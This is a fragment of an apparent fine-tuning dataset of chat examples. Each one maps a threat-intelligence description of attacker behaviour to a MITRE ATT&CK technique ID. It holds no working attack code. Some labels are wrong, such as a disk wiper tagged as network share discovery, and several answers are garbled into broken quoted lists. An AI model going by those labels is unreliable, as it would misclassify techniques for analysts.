                "role": "user",
                "content": "Process hollowing is a code injection technique that involves spawning a new instance of legitimate process (in this case c:\\windows\\syswow64\\explorer.exe) and then replacing the legitimate code with malware"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has delivered a generic Windows proxy Win32/Glubteta.M. Windigo has also used multiple reverse proxy chains as part of their C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has used search order hijacking to execute malicious payloads, such as Winnti RAT."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SPACESHIP identifies files with certain extensions and copies them to a directory in the user's profile."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a new service named NetAdapter to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command and control To traverse the firewall, C2 traffic for most TG-3390 tools occurs over ports 53, 80, and 443"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky is a highly motivated APT that has traditionally targeted entities in South Korea. The APT group has used a variety of malware such as Gold Dragon, Babyshark and Appleseed to target entities ranging from defense to education and think tanks. Some file enumerators will exfiltrate all files with specific extensions. What's interesting here, however, is that the attackers knew exactly which files they were looking for"
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nltest may be used to enumerate remote domain controllers using options such as \"/dclist\" and \"/dsgetdc\"."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GOLD SOUTHFIELD has breached Managed Service Providers (MSP's) to deliver malware to MSP customers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The HyperShell and HighShell webshells are variants of what we track as TwoFace, with HyperShell being related to the TwoFace loader and HighShell being related to the TwoFace payload, as we reported in July 2017"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It can reflectively load a DLL/EXE in to the PowerShell process, or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, please lead the Notes section (GENERAL NOTES) for information on how to use them."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Office365DCOMCheck or SystemDiskClean) as the name for the scheduled task to maintain persistence on the victim host"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. The purpose of this malware is to perform destruction of the host, leave the computer system offline, and wipe remote data. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: \"Disabled: Specifies that the service should not be started"
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has automatically exfiltrated stolen files to Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates data in compressed chunks if a message is larger than 4096 bytes ."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has disabled anti-virus and anti-spyware tools in some instances on the victim’s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 performed password brute-force attacks on the local admin account."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ECCENTRICBANDWAGON can capture and store keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unlike the original geacon, Blackrota uses gobfuscate to obfuscate the. source code before compiling. gobfuscate is an open-source tool for Go code. obfuscation, which can obfuscate the following elements of Go source code. with random character substitutions:"
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Iranian government-sponsored APT actors may have made modifications to the Task Scheduler. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity: SynchronizeTimeZone GoogleChangeManagement MicrosoftOutLookUpdater MicrosoftOutLookUpdateSchedule"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca adopted Cloudflare as a proxy for compromised servers."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Equation has used tools with the functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kinsing has used Unix shell scripts to execute commands in the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The two-stage malware overwrites the Master Boot Record (MBR) on victim systems with a ransom note (Stage 1). The MBR is the part of a hard drive that tells the computer how to load its operating system"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the computer name and serial number for the storage volume C:\\."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command systeminfo."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TechnoCreep is a previously undocumented C# backdoor that communicates with a C&C server via TCP sockets. In this case, commands are not read from a file, but received in an exchange of messages"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTF documents sent in the observed campaigns contain exploits for several vulnerabilities in Microsoft Office, and they seem to be created using a version of an exploit toolkit, often referred to as Threadkit. Threadkit is not exclusively used by the actors behind the observed attacks but also by other groups utilizing various payloads, including Trickbot, Lokibot, SmokeLoader and some other banking malware. The embedded object triggers a download of an HTML page containing the VBScript that exploits the vulnerability and launches the shellcode. The HTML component of the exploit is based on the original exploit code discovered in May this year. CVE-2018-8174 VB script exploit code"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variable Name Description   gdu Google Drive URL for downloading files to the Google Drive account   gduu Google Drive URL for uploading files to the Google Drive account   gdue Google Drive URL for updating a file on the Google Drive account   gdo2t Google Drive URL used to get the OAUTH access_token   client_id The client_id for the OAUTH application   cs The client_secret for OAUTH   r_t The refresh_token for OAUTH    Table 6 Variables used to store settings needed to use Google Drive as a C2 To obtain an OAUTH access token to authenticate to the actor provided Google account, the Trojan sends an HTTP POST request to a URL stored in the gdo2t variable with grant_type, client_id, client_secret, and refresh_token fields added to the HTTP header and in the POST data"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also can make and send screenshots to the C&C, as well as any file that matches a specified mask."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can check for connected USB devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell File Analysis The PowerShell script employs several layers of obfuscation to hide its actual functionality"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It can terminate IDA debugger, x32dbg, OllyDbg and more processes to avoid dynamic analysis, close databases, office programs and security tools"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has gathered a process list by using Tasklist.exe."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Alerts for credential theft tools and privileged account lockouts should be investigated"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth searches for different processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT34 has used certutil to decode base64-encoded files on victims."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA runs the \"whoami\" and \"query user\" commands."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub has de-obsfuscated XOR encrypted payloads in WebSocket messages."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash is data-destructive; destroying Linux-based databases as part of its ransomware capabilities. We can also find NO functionality within Xbash that would enable restoration after the ransom is paid"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used ProcDump to obtain the hashes of credentials by dumping the memory of the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component is a Web Shell payload."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turian has the ability to use a XOR decryption key to extract C2 server domains and IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can retrieve C2 domain information from actor-controlled S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has added persistence via the Registry key \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\load\" which causes the malware to run each time any user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547 - Boot or Logon Autostart Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has deleted data staged in tmp files after exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors gained initial access by exploiting vulnerabilities in JBoss webservers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AQUATIC PANDA continued their reconnaissance from the host, using native OS binaries to understand current privilege levels as well as system and domain details. OverWatch threat hunters also observed an attempt to discover and stop a third-party endpoint detection and response (EDR) service"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1007 - System Service Discovery', 'T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A shortcut file is generated in the following path:  %TEMP%\\~Update.lnk  This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The plugin proceeds to iterate through all connected drives on the system, looking for removable drives"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke C2 traffic has been encrypted with RC4 and AES."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has acquired domains related to their campaigns to act as distribution points and C2 channels."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses AES to encrypt C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of taking an image of and uploading the current desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Juniper Threat Labs has been monitoring a campaign that pushes a new IcedID banking trojan. This new campaign changes tactics by injecting into msiexec.exe to conceal itself and use full steganography for downloading its modules and configurations. Previous versions of IcedID injected into svchost.exe and downloaded encrypted modules and config as “.dat” files. IcedID is a banking malware that performs Man-in-the-Browser attacks to steal financial information"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has enabled the \"TESTSIGNING\" boot configuration option to facilitate loading of a driver component."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can remove its persistence and delete itself."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NOKKI payload is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process. Persistence is achieved by writing the file path to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\svstartup registry key"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures and DES-encrypts credentials before writing the username and password to a log file, C:\\log.txt."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa has used brute force attempts against a central management console, as well as some Active Directory accounts."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We analyzed a new RATANKBA variant that uses a PowerShell script instead of its more traditional PE executable form"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus achieved persistence by placing a malicious executable in the startup directory and has added the \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" key to the Registry."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has searched for anti-malware strings and anti-virus processes running on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For C0010, the threat actors compromised the login page of a legitimate Israeli shipping company and likely established a watering hole that collected visitor information."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recently, a newer version was found in-the-wild, abusing NTFS Alternate Data Streams (ADS) in order to store the content of malicious payloads downloaded during execution. The main vector used by the group is sending malicious files in compressed format, attached to email. File types vary from VBS to LNK; the most recent campaign started to attach an HTML file which executes Javascript for downloading a malicious file"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1059.005 - Command and Scripting Interpreter: Visual Basic', 'T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
